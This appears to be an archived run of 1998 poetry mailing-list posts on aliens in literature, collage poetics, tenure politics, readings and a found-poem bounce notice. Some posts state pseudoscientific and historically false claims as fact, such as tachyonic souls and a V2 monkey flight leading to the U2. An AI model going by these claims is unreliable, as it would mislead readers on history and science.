As he recounted his 'counter over a shot of Old Great-Great-Great-Granddad, Jack's voice quavered ever so slightly, and he shook his head. But when I asked him whether he had taken the creature's advice and checked the poetics list lately, all he said was -

"Hyinree, why, I gave up on tryin to get them cowgal quatrains to rhyme a long time ago. Now I just sing the old Pecos melodies - an I'm happy as a donut in a red shift."

- Eric Blarnes

↑ Index

192. **r. drake**

found poem: "failure notice"

Wed 8 Apr 1998

> *Hi. This is the qmail-send program at hardly.hotwired.com.*
> *I'm afraid I wasn't able to deliver your message to the following addresses.*
> *This is a permanent error; I've given up. Sorry it didn't work out.*
>
> *<[redacted]>:*
> *Sorry, I wasn't able to establish an SMTP connection. (#4.4.1)*
> *I'm not going to try again; this message has been in the queue too long.*
>
> *<[redacted]>:*
> *Sorry, I wasn't able to establish an SMTP connection. (#4.4.1)*
> *I'm not going to try again; this message has been in the queue too long.*
>
> *<[redacted]>:*
> *Sorry, I couldn't find any host by that name. (#4.1.2)*
> *I'm not going to try again; this message has been in the queue too long.*
>
> *<[redacted]>:*
> *Sorry, I wasn't able to establish an SMTP connection. (#4.4.1)*
> *I'm not going to try again; this message has been in the queue too long.*
>
> *<[redacted]>:*
> *208.210.190.41 does not like recipient.*
> *Remote host said: 550 <[redacted]>... User unknown*
> *Giving up.*

> *<[redacted]>:*
> *Connected to 195.180.229.162 but greeting failed.*
> *Remote host said: 421 permission denied*
> *I'm not going to try again; this message has been in the queue too long.*
>
> *<[redacted]>:*
> *Sorry, I couldn't find any host by that name. (#4.1.2)*
> *I'm not going to try again; this message has been in the queue too long.*
>
> *<[redacted]>:*
> *Sorry, I couldn't find any host by that name. (#4.1.2)*
> *I'm not going to try again; this message has been in the queue too long.*
>
> *--- Below this line is a copy of the message.*
> **********
>
> *(This message has been generated automatically.)*

↑ Index

193. **Dean Taciuch**
Re: Alien Dreams
Wed 8 Apr 1998

One the subject of alien encounters in literature: Listen to Patti Smith's "Bird-land" on her first album (Horses). "They/you/I/we are not human"

Dean

↑ Index

194. **morpheal**
Re: Alien thoughts
Wed 8 Apr 1998

> *I recall a certain degree of nastiness in WAR OF THE WORLDS --*

Similar to War of the Words....but the latter was largely ignored because of insufficient special effects technology at the time when it was faught.

> *things have changed now, certainly -- pods have taken control of all tenure decisions --*

You sure of that ? The pods....shades of Wyndenham....the pods again....

I thought that the next step was to make professors obsolete.

They first create symbiots, comprised of human to machine interfaces such that the artificial intelligence program learns to think like tenured professor. In essence to create "expert systems" within all the areas of study.

So far, no success, with that approach.

You perhaps know about Plato, an early artificial machine, drove its creator, programmer, insane, such that he committed suicide ? True story.

Well, in this instance the computers all went insane and had to be disassembled and scrapped. The professors still have their tenure.

Maybe someday things will change....

By the way, are they using remote viewing to invigilate examinations yet in American colleges ? I heard a rumour somewhere....

M.

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195. Gary Sullivan
Poetics of collage?
Wed 8 Apr 1998

Hi, Tom and Wendy:

I'm writing about Fatimah's work right now to introduce her series, "Village Spells," on the Plexus site (http://www.plexus.org/tuggar/) . . . relating her work to poetry. I don't think it's too much of a conceptual leap. Anyway, I'm not done with the essay, but this will give you an idea of its direction:

If magic is that which changes properties by persuasive gesture, Fatimah Tuggar's Village Spells are acts of genuine magic. The village itself--admixture of western and African properties--is virtual, a product of seeing the world in a particular way--say, Marshall McLuhan's Global Village. Essential to the magus, the late U.S. poet Gerald Burns once said, is the creation of a field in which magic can be said to work. I like his description, even if it's necessarily vague. He was relating the task of magician to that of poet, saying something about the poet's relationship to language. Some visual artists, especially those who consistently generate visual collage work--I think here of the German Hannah Hoch and Americans Joseph Cornell and Jess Collins--work with images, things given, in the way poets do with words. The collage artist, I want to say, might have as much or more in common with the poet as with, say, the painter. Tuggar is no exception. The image-to-word puns in her work are lively and frequent enough to engage the viewer who likes to read as well as to look. While looking is hardly a passive act, reading requires conscious viewer participation, and Tuggar's collage work, I've found, rewards the curious reader.

* * *

I'm supposed to finish this essay by today (good luck, especially since I wanna do some close readings of her stuff) and in the next couple of days it'll be up at the site accompanying Fatimah's pieces . . . I'll let you know when it's there.

Anyway, yeah, her work's great. And, again, anyone in NYC can see it "live" at the New Museum (B'way just south of Houston) and the Jack Tilton Gallery (er rrr, Greene street, I think, near Broome). She's still homeless, btw, staying with a friend of a friend in Queens . . . if anyone in NYC knows of a place she can live, backchannel me ASAP, por favor . . .

Thanks,

Gary

On Wednesday, April 08, 1998 12:29 AM, Thomas Bell [SMTP:[redacted]] wrote:
> I also had a look at tuggar's works (per our electronic miracle here), and
> wondered, were one inclinined to stretch the limits of poetry, would
> her works be considered poems? Or is this too conceptual,
> tom bell
>
> At 09:27 PM 4/4/98 -0500, Wendy Kramer wrote:
> to whomever posted about fatimah tuggar a big thank you!! you've
> >recruited a new fan.

↑ Index

196. Gleason
Re: damn
Wed 8 Apr 1998

---

when joe told me the news it was very sad, frustrating, infuriating. my initial reply to joe was not as strong, i think i didn't know what to think. i was a student of his at iit for a couple years, i rode along with him for a while as they started steering that school into the ground. we had more phrases that went along with I I T, but none of them used words as cool as torpidity.

joe's book *is* fantastic. i've owned it for months now, picking through a random page hear and there as i get a break from all other reading to be done this semester. i think there were more ideas in his introductory pages than in whole novels i've read lately!

eryque

> *"It's a tough world*
> *out there*

> *and even tougher*
> *when I write about it."*
> *--Joe Amato, _Bookend_*
>
> *Scrolling through the email that came in after our system demolished my mailbox, and now I come to this sad news. -- I had been keeping up with the progress of Joe's journey through the minefields,,,, had naively hoped, after he'd passed safely through the first levels, that all would be well --*
>
> *as it happens, my small band of grad. students are reading Joe's book this semester -- they think it's great --*
>
> *IIT == Illin' Institute of Torpidity*

↑ Index

197. Joe Amato/Kass Fleisher
thanx...
Wed 8 Apr 1998

---

just a note of thanx to all of those who've expressed support and concern, on this list and backchannel, re my tenure situation...

for the record: it was a politics-as-usual decision, and not based on my being a poet, exactly (not that being a poet *helped* any)... had i been a 19th century american lit scholar, i would still be s-o-l... that my colleague who was denied is our african-american studies scholar should speak to this directly (and neither of us has any publication problems)... the politics to which i refer have to do with the privatization of colleges and universities, re which, as many of you are aware, i'm an outspoken opponent... i think this latter development should be of concern to all of you, simply b/c i think education is such an important aspect of our public domain...

in any case, whatever happens, i'll be ok (and hey, things could always be worse)... thanx again for your support and encouragement, means much to me...

xxxx,

joe

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198. r. drake
Re: Poetics of collage?
Wed 8 Apr 1998

Tom Wendy Gary et al:

if yr not already onto it, you might check out _Collage_, edited by Jeanine Plottel, vol. #10/11 of the New York Literary Forum series, 1983. essays by marjorie perloff, mary ann caws, jean-jaccques thomas, leroy breuning, david rosand, jon green, tom conley, renee hubert, & bert leefmans...

lbd

↑ Index

199. **Gary Sullivan**
Re: Poetics of collage?
Wed 8 Apr 1998

Hey, Luigi-Bob! Thanks for the teep . . . I'll check eet oot . . .

Anything you remember from the essays, relative to Tom's question? If so, post 'em . . . would be interested to read & consider . . .

Many kind thanks,

Gary

On Wednesday, April 08, 1998 10:20 AM, r. drake
[SMTP:[redacted]] wrote:
> Tom Wendy Gary et al:
>
> if yr not already onto it, you might check out _Collage_, edited by
> Jeanine Plottel, vol. #10/11 of the New York Literary Forum series, 1983.
> essays by marjorie perloff, mary ann caws, jean-jaccques thomas, leroy
> breuning, david rosand, jon green, tom conley, renee hubert, & bert
> leefmans...
>
> lbd

↑ Index

200. **Douglas Barbour**
Re: aliens (in SF)
Wed 8 Apr 1998

Peter Quartermain (Hi Peter, welcome back!) said:

<<Aliens?

There's the novels of Octavia Butler, especially the first of that amazing series of which perhaps someone can remember the name. Very much into the psychology of alien-ation. So too perhaps the work of Phillip Mann _Eye_of_the_Queen_ ((Australian, I see to recall).

Science fiction is of course full of a lot of junk, but there's a bunch of stuff in there: LeGuin _Left_Hand_of_Darkness_ comes to mind.>>

Butler's trilogy is _Xenogenesis_ & is indeed terrific. Best alien encounter trilogy in a long time, however, & a wonderful study in gender politics to boot, is Gwyneth Jones's "Aleutian Trilogy" (_White Queen_, _North Wind_, & _Phoenix Cafe_): wonderful post-colonial etc readings of culture, with great characterization & a terrific style.

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

↑ Index

202. **morpheal**
Re: Was: aliens (in SF) Now: Censorship and Belief
Wed 8 Apr 1998

> *Is it in the repressive america censorship*

Does that exist more because a significant portion of people BELIEVE that it exists, or because there are censors actually censoring ?

Does it exist more because some significant portion of the people who believe it exists are intimidated, because they believe something nasty will happen to them if they cease to believe in it ? Kind of similar to the concept of burning in hellfire if you do not believe in an idea that someone else says you must believe in. Not only believe, but actually become unquestioningly congruent with ? That would be true belief rather than going through the motions kinds of belief.

So, what will happen, if some believe that there are no censors and that freedoms of expression, and association, are truly in existence and vouchsafed ? Will those then exist, in a manner that they did not exist while the belief was contrary ?

Would be an interesting experiment, wouldn't it ?

M.

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203. **Michael J. Kelleher**
Frank O'Hara
Wed 8 Apr 1998

Hello all.

I'm writing something on Frank O'Hara/the Kantian sublime and was wondering if anyone had any relevant suggestions regarding critical material on either. Please backchannel if you can help. Thanks.

Truly,

Mike

↑ Index

204. **David Kellogg**
The last book
Wed 8 Apr 1998

The book is dead! Long live the book!

Interesting article in today's NY Times on a technology being developed by MIT media labs that will combine digital and print technologies in really interesting new ways. http://www.nytimes.com/library/arts/040898book.html

More technical description available at
http://www.almaden.ibm.com/journal/sj/363/jacobson.html

~~~
~~~

f). any specific religious group
g). any specific political party or affiliation
h). the opposite gender
i). one's co-workers
j). the CIA, FBI, KGB, CSIS or any similar group
k). the military of one's own country
l). any allied military
m). aliens from outer space
n). competitors in any endeavour one is involved in
o). any psychiatrist or psychologist (guise of therapeutics)
p). other professionas (particularly lawyers and doctors)
q). any government agency (particularly the revenuers, taxation)
r). scientists conducting experiments on human subjects
s). wealthier people
t). poorer people
u). the mafia (and any similar organization)
v). charities and similar institutions
w). an employer, or corporation that one works for
x). any other identifiable organization or institution

y). THE ENEMY IS ANY OF THE ABOVE.

z). THE ENEMY SEEMS TO BE ANY OF THE ABOVE, BUT IN THIS GAME EVERY ENEMY IS WHO THEY IS NOT. THE ENEMY OFTEN APPEARS TO EMULATE ANOTHER GROUP OR INDIVIDUAL WHOM THEY ARE NOT. SOMETIMES THE ENEMY APPEARS TO EMULATE THEMSELVES, HOPING THAT THE BELIEF THAT THEY WOULD NEVER REVEAL / APPEAR AS THEMSELVES WILL FOOL THOSE WHOM THE ENEMY HAS ATTACKED / ATTEMPTED TO SUBVERT, CONVERT OR OTHERWISE INFLUENCE AND USE.

If you answered any of (a) to (x) score NEGATIVE ten for each answer.

If you answered (y) score 1 point for being so naive.

If you answered (z) score 100 points. Perfect score.

Very rudimentary psi-warfare. Also epidemic in anything that is even remotely connected with intelligence work. Sadly few people are properly trained and it affects a lot of very peripheral areas to what we would consider areas of stratetic and intelligence interests.

M.

aka Bob Ezergailis

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206. **Christina Fairbank Chirot**
Sembrar la memoria Tammy Wynette
Wed 8 Apr 1998

Sembrar la memoria

Tammy Wynette

--dbc

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207. **main**
sontag/godot/bosnia
Wed 8 Apr 1998

---

several years ago i saw a documentary on the war in bosnia ("saravejo: ground zero"), which included a brief interview w susan sontag. she was working with local actors to put on a stage production of "waiting for godot," using the bombed-out streets of sarajevo as "stage". does anyone know if this production was recorded on film? "sarajevo: ground zero" was never released commercially in the u.s. any information, please backchannel. thanks, dan featherston

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208. **morpheal**
Re: Alien Dreams
Wed 8 Apr 1998

> *One woman's vivid dream of aliens could be another person's abduction experience. I have heard descriptions of alien encounters all along the axis from one to the other.*

Thomas De Quincy in "Confessions of an English Opium Eater", published in 1886, includes an account of what seems to be an abduction experience.

Simply read the "Analects from Richter: Dream Upon The Universe" p260 and following, and you will quickly see what I am referring to. The account describes a "dream" in which an alien being who travels the universe commanding motion by means of thought, takes the author to the far reaches of the universe and beyond it, traveling in space and time. It is as if the traveller goes into warp drive or hyper drive, with all the predicted visual effects.

It really is a quite typical account, even if expressed in the language of the previous century.

Then again, so is Ezekiel, and the Apocrypha even more so.

> *Manifestations are often in remote sites. Perhaps it takes silence and loneness to render aliens visible & audible.*

Sure, the kinds of places where trespassers are shot first, no questions asked.

I remember a story told by a UFO type, about such places. There was one such place where a diner stood by a roadside, run by a man and his wife. The sideroad nearby had a gate and fence, further down it. A typical guard post at the gate. A visitor asked the fellow who ran the diner: "can you tell me what they do over there, down that road, beyond that gate ?" The fellow in the diner answered: "sure, I can tell ya, but if I tell you, I would then have to shoot you".

> *When it comes to UFOs, however, I now hear the one we saw might have been only a hologram : "We have long had that capability," a government spokesperson said.*

I like the idea about the electromagnetic field generators, similar to the Philadelphia experiment story, that bent minds, light, radar, and every other kind of electromagnetic waveform a lot more than I like the idea of holograms. It is kind of like the difference between magick and magic. Those experiments go back to the 1940s. Even in Canada they flew large magnetos" (motor-generators) in transport planes to test the wave bending effects of the fields. Unlike the Philadelphia experiment, it was written up in the newspapers of that era.

If the Klingon Empire can have "cloaking devices" so can we.

Then again we thought we would never have supersonic flight, as the g forces would crush the pilot or render unconscious. The boffins proved to Truman that it could be done, using a V2 rocket modified with a titanium alloy compartment to carry a simian cargo. The simian monitored for consciousness by having to push on a button when a light came on at periodic intervals. A simple enough monkey trick, but it proved the point and a supersonic jet program, that led to the U2 followed quickly thereafter. Those aliens ought to have a heroic burial in Arlington, despite being simian rather than human. (The Roswell autopsy film is a blatent fake.) Without their sacrifice there would never have been appropriation for supersonic jets, and the U2 would never have been built in America. That would have likely meant the Cold War would have gone the other way around and we would be flying red flags over Washington and Ottawa.

As a futurist I am still predicting faster than light space travel, to distant solar systems, within this coming century. That, and one way time travel, into the past, but no return tickets once the traveller gets there, and very infinitismally little power to cause any significant changes beneath the burden of quantum histories. That would mean that observation of our barbaric ancestors will be possible. History, as we know it, will be a dead discipline, and the works of famous historians increasingly regarded as no more than curiosities of poetic fiction. (Those two ideas are connected. Same energy fields used for propulsion.)

A pot shard does not tell us as much as some seem to think that it does.

Besides that, most science fiction tends to be silly, very fanciful, stuff. William Gibson's writings, and a little of Michael Moorechock's writing (particularly The Cornelius Chronicles) seems more impressive. The latter is about parallel universes, strange loops, and such. The former about the more ominous side of cyber technology.

> "*Mah fellow-americans, people of the world, aliens have their weapons of mass destruction trained on our largest cities. We must comply with their requests....*"

Who is to say that some day they might not arrive at this planet, if they have not already, and find it inadequately defended. This planet having been too busy fighting faction against faction among its own, and neglecting defence against rival technological species from beyond.

They might not want to share the universe with us. What then ? In fact we can almost bet that they will not want to share it.

I say we should point some guns into space. In case THEY come to take over, conquer, enslave, harvest, or species compete, with US !

That should keep the high tech economy going for at least a few decades.

Why does that attitude remind me of Heinlein's view of the universe. I think he likely understood it better than most of the other SF writers have understood it. There is no reason whatever to believe in "friendly" or "benevolent" aliens, and much less reason to believe that "advanced species" in terms of technological ability and intelligence are inevitably more benevolent and "civilized" than the primitive, warlike, sometimes brutal, humans tend to be.

M.

↑ Index

209. Marcella Durand
Aliens at Zinc Bar
Wed 8 Apr 1998

Dan, that opium pipe was actually a SPACE PHASER
and you are now en route to
PLANET POME,
(which involves Jim Beam & lots of construction).

Great reading last Sunday
and don't forget to return April 12th
for Robbert Pinnsky & Oppen Mike, $75.

See you at the symp id et inven titty tion osium.

↑ Index

210. **morpheal**
Re: The last book
Wed 8 Apr 1998

> *The book is dead! Long live the book!*
>
> *Interesting article in today's NY Times on a technology being developed by MIT media labs that will combine digital and print technologies in really interesting new ways.*
> *http://www.nytimes.com/library/arts/040898book.html*
>
> *More technical description available at*
> *http://www.almaden.ibm.com/journal/sj/363/jacobson.html*

>he horizon is the advent of giant and colossal magnetoresistance (GMR and CMR), >[10] soon to be commercialized, which holds the prospect for extremely dense >magnetic media. GMR should realize between 3.5 and 35 gigabytes (GB) in a >PCMCIA format--already more books than the average individual reads in a >lifetime. CMR holds the prospect of 10 times this capacity, or 350 GB in the
>same format. In the longer term, atomic force microscope drives hold the >prospect of truly gargantuan storage. To date such a drive has been >demonstrated with an information density capable of holding 10 terabytes (TB) >in a PCMCIA-size device with data rates of 1.2 megabits per second >(Mb/s). [11] Such a capacity is able to hold (using only modest compression) >the entire United States Library of Congress, whose holdings number some 20 >million volumes. Such a device is in effect a single-volume library.

Factual and terrific,....

Electronic data of that kind is infinitely mutatable and thus mtuable.

Consider how anyone would ever know what had changed, been revised, been edited.

What does one check the electronic copy against to verify that it is a bona-fide, accurate, reproduction of the original ?

Thus, the words of Thomas Jefferson, or John Fitzgerald Kennedy, that we might have read, or our predecessors might have read, and which were the same, might no longer be the same for our successors.

Worse yet, they would never know, never be certain, of that having happened.

Potentially, the potential of this new technology, if it were to become _the_ mode of conveyance of the "written" word, makes King James and his revisionist

efforts look Mickey Mouse in comparison to what could happen as regards revision of any author's works.

Taken to extremes even the electronic Bill Shakespeare of a century from now might have no resemblance to the hard copy William Shakespeare of today.

M.

↑ Index

211. Rachel Levitsky

Re: Alien thoughts

Thu 9 Apr 1998

I also enjoyed _Mysterious Skin_ by Scott Heim, especially the memories of sticking his arm into the guts of a goat?

all vaguery,
Rachel Levitsky

[redacted] wrote:
>
> Karen Kelley wrote . . .
>
> >This is perhaps a strange request: last night I had the most remarkable
> >dream about extraterrestrials (something I've never dreamed about
> >before) perhaps masquerading as god figures, but it occurs to me that
> >I've always been too cynical to do more than assume extraterrestrials
> >must exist. Does anyone have any reading to suggest? I'm not
> >particularly interested in "proof" stories or "scary alien" stories,
> >perhaps something more along the lines of what they might represent to
> >us philosophically/psychologically?
>
> Katy's already suggested Spahr's book "Response" which is a good one. Let
> me recommend a novel "Mysterious Skin" by a young New Yorker Scott
Heim, it
> is really terrific and is totally about the psychological appeal of aliens,
> why we need them, etc. When I was almost 30 I came to "realize" that I had
> been abducted by aliens briefly in childhood, and I drew upon this
> experience to write a memoir "Santa," which now appears in my book "Little
> Men" (which of course you don't want to miss in any case). I got some of
> it right, but Scott and Juliana get more of it.
>
> --Kevin Killian <---- space "cadet" fanboy

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212. Rachel Levitsky
Re: Alien thoughts
Thu 9 Apr 1998

Laura,

I loved _The Thing_. Thanks for posting it.

RDL

↑ Index

213. Susan Schultz
TINFISH 6 is now available
Thu 9 Apr 1998

Tinfish 6 is now available. Contributors, from Hawai`i, Australia, California and other places, include Caroline Sinavaiana-Gabbard, Joe Balaz, Normie Salvador, Bill Marsh, John Kinsella, Mary Burger, Daniel A. Kelin, II, Zhang Er (translated by Arpine Konyalian Grenier), Gwyn McVay, Gabrielle Welford, Michael Robbins, Kamaka Kanekoa, Ida Yoshinaga, Elizabeth Treadwell, Bobbie West, John Tranter, G. Tracy Grinnell, Pam Brown, Liz Waldner, Karen Kelley, Brian Carpenter, Bill Luoma, Joe Ross, with a review of Albert Saijo's _Outspeaks: A Rhapsody_, by Juliana Spahr.

Issues are $5 each; subscriptions to three issues are $13. Chapbooks still available by Kathy Dee Kaleokealoha Kaloloahilani Banggo, _4-evaz, Anna_ ($4) and by Susan M. Schultz and John Kinsella, _voice-overs_ ($4), from Tinfish Network.

Write checks to _Tinfish_ and send to Susan M. Schultz, editor; 47-391 Hui Iwa Street #3, Kaneohe, HI 96744.

Thanks,

Susan

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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214. david bromige
re : Alien Dreams
Thu 9 Apr 1998

Thanks to Morpheal for his rich response to this thread. I would like to know more about the Philadephia experiment. And about the electro-magnetic bending of waves, time and minds.

My imagined Presidential address ("Mah fellow americans", etc) might also be fronting for a corporate takeover of the world. In this scenario, there are no aliens, only a President saying so; only a simulation of alien invasion, in order to clamp down on humanity in an entirely exploitative fascism. In this scenario, all the arranged "visitations" and "sightings" had been intented, all along, to lead to this clampdown. Our minds were being softened up.

When will *that* movie be made? David

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215. Miekal And
the fetish of psychotronics
Thu 9 Apr 1998

morpheal wrote:

> *QUESTION: Does anyone know of poetry about the new physics, about quanta, anomalies and new cosmological ideas ?*
>
> *Would be interested in author, title, publication, info, if you know of any.*

who needs poetry when you have Charles Hoy Fort, Book of the Damned.

& would highly recommend the Holographic Universe, whose author escapes me this morning because my mind has escaped me...but its premise, one which seems in vogue with a lot of new physics & psychotronics studies is that the brain is a 3-D decoder for a holographic universe. which goes far measures to explain madness from the viewpoint of the mad, the presence & onmiscience of the navaho language, & even some of the experiments with ketamine users accessing the same shared tripping space & being able to navigate thru a consensus other reality.

& of course the classic from the 20th century poetry of edge is Alfred Jarry's How to construct a time machine. whose title Im probably also screwing up cuz I dont have it in front of me.

on beyond

miekal

↑ Index

216. **Sylvester Pollet**
matzoh poetics
Thu 9 Apr 1998

a friend sent me this, and it did awaken many possibilities. Onomatzohpoeia.

> *A Jewish man took his Passover lunch to eat outside in the park. He sat down on a park bench and began eating. A little while later a blind man came by and sat down next to him. Feeling neighborly, the Jewish man passed a sheet of matzoh to the blind man. The blind man handled the matzoh for a few minutes, looked puzzled, and finally exclaimed: "Who wrote this shit?"*

↑ Index

217. **Jordan Davis**
matzoh placards
Thu 9 Apr 1998

's different from the matzoh placards protecting Commander Papend's duplicate Venice from the killer bees in _The Duplications_ .. thanks, Sylvester, gud yan-tov, shalom .. Jordan

↑ Index

218. **morpheal**
Re: re : Alien Dreams Now: EMRadiation and New Cosmologies
Thu 9 Apr 1998

> *Thanks to Morpheal for his rich response to this thread. I would like to know more about the Philadephia experiment. And about the electro-magnetic bending of waves, time and minds.*

Let's say that in theory strong and directed electromagnetic fields could cause sensory aberations, as well as disorders of perception and cognition, including disorders as to internal time consciousness. The latter is not "time" as such, (the successive flow of events, including cause and effect chains of events), but only the perception of time internal to the mind. (That ITC distortion could occur in any species, not only in humans.) Strong EMR of some kinds can also have considerable effects on the nervous system such that the sense of body and its spatial orientation would be peripherally effected along with perhaps some physical functions (coordination, etc.)

The movie was very silly, as was the story it was based upon. Electromagnetic fields of the kind that would have been used to cloak ships at sea could NEVER result in "time travel", in any circumstances. Distortion of internal time consciousness, of time perception, could never even result in an _apparent_ but not real, displacement of objects within the temporal stream of from past to future.

Simply not possible. This apparent distortion would be simply distortions of quantum events in the brain. Displacements of electrons and alterations of electron spin, would be enough, if enough were affected, to cause hallucinations, and extremely disordered thinking, including loss of sense of place and time. That is only a loss of the mental sense of where and when, but not actual physical, spatial-temporal, displacement.

(If time travel is possible, and I believe that it is possible, it is an entirely different phenomenon, and requiring generation of a different kind of field. Likely tachyons, rather than tardyons, meaning faster than light quanta. That is not, I tend to believe, a question concerning an Einsteinian 4 dimensional universe anymore, but leads to new paradigms. Had a somewhat long discussion on that in Internet's sci.physics conference some years ago, as to the possibility of at least a 5 dimensional universe, with a tachyonic mirror image to the tardyonic one we live in, and all those luxons popping in and out at the boundary. The Philadelphia experiment would most probably have bent the paths of luxons (light and electrons, mostly). The electromagnetic fields, if as strong as the stories indicate, having effects on radio, radar, and sonar, making the ships apparently "invisible".)

> *My imagined Presidential address ("Mah fellow americans", etc) might also be fronting for a corporate takeover of the world. In this scenario, there are no aliens, only a President saying so; only a simulation of alien invasion, in order to clamp down on humanity in an entirely exploitative fascism. In this scenario, all the arranged "visitations" and "sightings" had been intented, all along, to lead to this clampdown. Our minds were being softened up.*
>
> *When will *that* movie be made? David*

Good question.

The interesting thing is that if the universe is non Einsteinian, and a new paradigm evolves, making Einstein's universe as obsolete a model as is Newton's (though nevertheless continuing to be useful in its own ways), then inter dimensional aliens could be a reality. They could be mostly tachyonic (faster than light) quanta, whereas we are mostly tardyonic (slower the light) quanta. That would account for inter-dimensionals being seen as shimmers of light. That would be Chernkov radiation, which would be luxons emitted by tachyons that are slowed down when involved in densities of tardyons and some luxons where more collisions occur. The Kirlian aura of human forms might also be our tachyonic "souls" and seen only when electrons interfere with tachyons such that Cherenkov-like radiation (as light) is emitted.

Makes for interesting speculation.

What it has to do with poetics....I won't hazard a guess. Though I sometimes allude to cosmology in some of my poems. So did Gregory Corso, and some others. "Mind Field" I think is the title of one of Corso's pieces. I do not have a complete copy, but have read some of it on the net.

QUESTION: Does anyone know of poetry about the new physics, about quanta, anomalies and new cosmological ideas ?

Would be interested in author, title, publication, info, if you know of any.

M.

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219. Pritchett,Patrick

Re: re : Alien Dreams Now: EMRadiation and New Cosmologies

Thu 9 Apr 1998

Gee, all this time I thought the "Philadelphia Experiment" was a reference to Ron Silliman living in PA while still rooting for the Giants.

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220. William Marsh

Re: the fetish of psychotronics

Thu 9 Apr 1998

> *& would highly recommend the Holographic Universe, whose author escapes me this morning because my mind has escaped me...but its premise, one which seems in vogue with a lot of new physics & psychotronics studies is that the brain is a 3-D decoder for a holographic universe. which goes far measures to explain madness from the viewpoint of the mad, the presence & onmiscience of the navaho language, & even some of the experiments with ketamine users accessing the same shared tripping space & being able to navigate thru a consensus other reality.*

authored by Michael Talbot

- -

William Marsh | PaperBrainPress
http://bmarsh.dtai.com

- -

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221. Joseph Noble
"Here" and Zinc Bar Query
Thu 9 Apr 1998

Does anyone out there know how I can get on a mailing list for "Here" and Zinc Bar readings or how I can find out who's reading there this month. They're not listed in this month's NYC poetry calendar. Please either backchannel me at <[redacted]> or post the info on the list - maybe others on the list would like to know? Thanks much. Joseph Noble

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222. louis stroffolino
Re: Was: Censorship and Belief NOW: Something of great constancy
Thu 9 Apr 1998

Such tricks hath strong imagination!
well, morpheus, i wanna see that bromige movie too,
yours,
the alien formerly known as egeus.....
c

On Wed, 8 Apr 1998, morpheal wrote:

> *Is it in the repressive america censorship*
>
> *Does that exist more because a significant portion of people BELIEVE that it exists, or because there are censors actually censoring ?*
>
> *Does it exist more because some significant portion of the people who believe it exists are intimidated, because they believe something nasty will happen to them if they cease to believe in it ? Kind of similar to the concept of burning in hellfire if you do not believe in an idea that someone else says you must believe in. Not only believe, but actually become unquestioningly congruent with ? That would be true belief rather than going through the motions kinds of belief.*
>
> *So, what will happen, if some believe that there are no censors and that freedoms of expression, and association, are truly in existence and vouchsafed ? Will those then exist, in a manner that they did not exist while the belief was contrary ?*
>
> *Would be an interesting experiment, wouldn't it ?*
>
> *M.*

↑ Index

223. **Miekal And**
Re: Poetics of collage?
Thu 9 Apr 1998

poetics of collage = xerolage

_____
http://net22.com/neologisms/xe.html

↑ Index

224. **morpheal**
Re: Was: Censorship and Belief NOW: Something of great constancy
Thu 9 Apr 1998

> *Such tricks hath strong imagination!*
> *well, morpheus, i wanna see that bromige movie too,*
> *yours,*
> *the alien formerly known as egeus.....*
> *c*

I am able, and at times have necessarily had to suspend all assumptions, all beliefs, and all imagination. Otherwise those cloud and colour perception with falsification as to what is sensed. (Phenomenological methods again.)

Also able to almost totally resist hypnotic suggestion.

Trust me, it is possible.

Regardless of what some say about it being impossible.

M.

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225. **morpheal**
Re: the fetish of psychotronics
Thu 9 Apr 1998

> *& would highly recommend the Holographic Universe, whose author escapes me this morning because my mind has escaped me...but its premise, one which seems in vogue with a lot of new physics & psychotronics studies is that the brain is a 3-D decoder for a holographic universe. which goes far measures to explain madness from the viewpoint of the mad, the presence & onmiscience of the navaho language, & even some of the experiments with ketamine users accessing the same shared tripping space & being able to navigate thru a consensus other reality.*
>
> *authored by Michael Talbot*

Chuckle....that recent.....Let's go back a ways, to the turn of the previous century and Nikolas Tesla.....

Found at http://pages.nyu.edu/~jqs1209/tower.htm

What seems most interesting is that the Wardenclyffe facility was completed BEFORE 1906. So this quote is prior to 1906.

"As soon as [the Wardenclyffe plant is] completed, it will be possible for a business man in New York to dictate instructions, and have them instantly appear in type at his office in London or elsewhere. He will be able to call up, from his desk, and talk to any telephone subscriber on the globe, without any change whatever in the existing equipment. An inexpensive instrument, not bigger than a watch, will enable its bearer to hear anywhere, on sea or land, music or song, the speech of a political leader, the address of an eminent man of science, or the sermon of an eloquent clergyman, delivered in some other place, however distant. In the same manner any picture, character, drawing, or print can be transferred from one to another place..."

- Nikola Tesla

M.

> -
> *William Marsh | PaperBrainPress*
> *http://bmarsh.dtai.com*
> -

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226. **MAYHEW**
April archives
Thu 9 Apr 1998

Aproximately 100 people have posted to the list this month (9 days old):

Morpheal leads the pack with 18 messages, Keston Sutherland a close second with 17, Rachel Levitsky a distant 3rd with 11. Perpetual favorites Gould and Damon don't seem to be in the running this month, though they may make a surge later in the month.

Favorite topics is aliens, with over thirty postings--a distant 2nd is "boring chitchat."

I have no conclusion to draw from this--just thought you'd like to know.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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227. Aldon Nielsen
Re: the Wright Reading
Thu 9 Apr 1998

Last night Jay Wright appeared at the California Institute of Arts (having read the previous day at Occidental College). He read portions of plays written over the past two decades (including portions of the play for Nicolas Guillen that appeared in the special Guillen issue of Callaloo [10.2 -- 1987 if you want to look it up]) -- One surprise was when he broke into song, in Spanish. I'd known that he was fluent in Spanish (he also read passages in Yoruba with no discernable American accent), but I hadn't known that he could sing. (also plays upright bass, though not at readings) --

Some of the work was from a recently completed ms. titled _Transformations_, which, if all goes well, will appear in a volume of collected poems soon.

Watch the Cambridge Univ. Press listings next year for a book by Carole Doreski that includes a substantial, and GOOD, chapter on Jay Wright's poetry.

Cigarettes in my mouth
to puncture blisters in my brain.
My bass a fine piece of furniture.
My fingers soft, too soft to rattle
rafters in second-rate halls.
The harmonies I could never learn
stick in Ayler's screams.

(from "The End of an Ethnic Dream" -- Jay Wright)

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228. Christina Fairbank Chirot
Re: Poetics of collage?
Thu 9 Apr 1998

---

best thing is to go library and check out listings under COLLAGE--too many books to name at once--

might start with Kurt Schwitters--collage poetry leading to sound poetry, environments (Merzbau) and performance (Ur Sonate)--

Rbt Motherwell (pretty good collage poet) edited Dada Painters & Poets--

Hans Richter (old Dada fella) very good on this in Dada Art and Anti Art

many collections in many languages

works of Heartfield for ex--political photomontage

